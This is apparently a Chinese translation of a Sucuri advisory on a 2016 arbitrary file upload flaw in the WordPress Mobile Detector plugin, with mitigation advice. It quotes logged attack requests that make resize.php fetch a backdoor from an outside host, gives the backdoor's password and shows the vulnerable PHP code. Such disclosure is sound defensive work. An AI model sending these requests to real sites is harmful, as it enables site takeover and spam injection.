*更新:WordPress Mobile Detector插件已经被修补,该漏洞已被解决。请尽快更新,打补丁的版本是3.6,最新的版本是3.7。
在过去的几天里,我们已经注意到问题网站的数量直线增长,而没有发现这些网站感染任何旧版插件或已知的漏洞。在大多数情况下,这可能是由于色情垃圾邮件导致的。我们的研究团队开始深入调查这个问题,我们发现,这些WordPress网站的共同点是使用了插件WP手机探测器,该插件于5月31日被报告发现了0 day任意文件上传漏洞。目前,该插件已经被从WordPress库中删除,且没有补丁可用。
该漏洞很容易被利用, 攻击者所要做的就是发送请求到 resize.php或timthumb.php到插件目录中(是的,timthumb,在这种情况下,它其中包含resize.php),而其中带有后门程序的URL。该漏洞被公开披露是在5月31日那天,但根据我们的防火墙日志,这次攻击自5月27日就已经实施了。好消息是,我们所有的客户已经获得了Sucuri防火墙虚拟硬化引擎的保护。
这就是我们在网络中发现的活跃有效载荷之一:
188.73.152.166 - - [31/May/2016:23:54:43 -0400] "POST /wp-content/plugins/wp-mobile-detector/resize.php
Payload:src=hxxp://copia[.]ru/mig/tmp/css.php"
上面的例子是上传css.php到插件文件夹中的缓存目录中。上载完成后,攻击者试图获取后门的访问权限:
46.182.30.164 - - [02/Jun/2016:14:25:01 -0400] "POST /wp-content/plugins/wp-mobile-detector/cache/css.php HTTP/1.1"
Payload: pass=dinamit
使用后门密码“DINAMIT”。关于该漏洞,在这部分代码中不安全的功能在resize.php 中体现:
if (isset($_REQUEST['src'])) {
$path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);
if(file_exists($path)){
...skipped…
}else{
file_put_contents($path, file_get_contents($_REQUEST['src']));
...skipped…
}
...skipped…
正如你所看到的,这是一个简单的漏洞,是通过失败的验证和不受信任源输入实现的。在这个过程中没有执行任何安全检查,且攻击者可以使用包含PHP代码的恶意URL来应对SRC变量。
不幸的是,这个帖子发布的那一刻,该插件已经从资源库中删除,且没有任何可以使用的插件更新。现在我们强烈建议大家删除这个插件。如果你真的需要这个插件,有一个临时的解决办法是在wp-mobile-detector/cache子目录禁用PHP执行,例如在.htaccess文件中使用此代码。
<Files *.php>
deny from all
</Files>
请注意,此修复程序只能防止从你的服务器上来的恶意软件被执行。黑客仍然能够通过第三方网站的链接上传,如内部框架,脚本,各种恶意下载渠道,或者是用来承载垃圾/非法内容来攻击文件缓存子目录 。你也可以完全禁用缓存子目录的写入权限,但这样可能会破坏一些插件功能。
我们一直在测试这款流行的WordPress安全插件其中可能的问题,通过提供应用级防火墙和其它的预防措施,该措施已经成功地规避了所有需要预防控制的潜在问题。设有Sucuri防火墙的网站已经通过系统虚拟硬化引擎进行了修补,这是发布的最后一道防线。
这时,大多数有漏洞的网站已经中了色情垃圾邮件的招。通常,您可以在站点根目录下找到gopni3g目录,其中包含story.php(门生成器脚本),.htaccess,和含有垃圾文件与模板的子目录。门会将访问者重定向到hxxp://bipaoeity[.]in/for/77?d=。
如果你已经受到影响且需要帮助,请告诉我们。